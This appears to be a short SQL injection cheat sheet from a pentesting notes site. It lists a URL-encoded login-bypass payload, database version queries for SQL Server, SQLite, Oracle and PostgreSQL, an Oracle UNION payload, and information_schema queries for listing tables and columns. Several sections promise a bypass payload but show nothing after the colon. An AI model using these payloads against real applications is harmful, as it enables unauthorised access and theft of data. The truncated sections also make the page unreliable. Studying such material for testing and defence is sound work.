SQL Injection
Various SQL injection playloads.
Union Based
Integer
Considering a form without client-side control, with a user taking only an int and a password, we could use this to bypass :
String escape
Considering a form without client-side control, with a user field putting data as a string like 'input' we could use this to bypass :
URL injection
Considering a form with client-side control avoiding specials characters, with a user field putting data as a string like 'input' we could use this to bypass :
Encoded in URL
%31%27%20%6f%72%20%27%31%27%3d%27%31%27%2d%2d%20%2d
Find database version
SQL
SELECT @@version
SQLite
',nickName=(sqlite_version())"'
Oracle
SELECT * FROM v$version
PostgreSQL
SELECT version()
Database-specific syntax
Oracle
On Oracle, every SELECT
query must use the FROM
keyword and specify a valid table. There is a built-in table on Oracle called dual
which can be used for this purpose.
' UNION SELECT NULL FROM DUAL--
Listing the contents of the database
List tables in database
SELECT * FROM information_schema.tables
List content in column
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
Blind SQL injection
Blind SQL injection occurs when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.
Last updated
Was this helpful?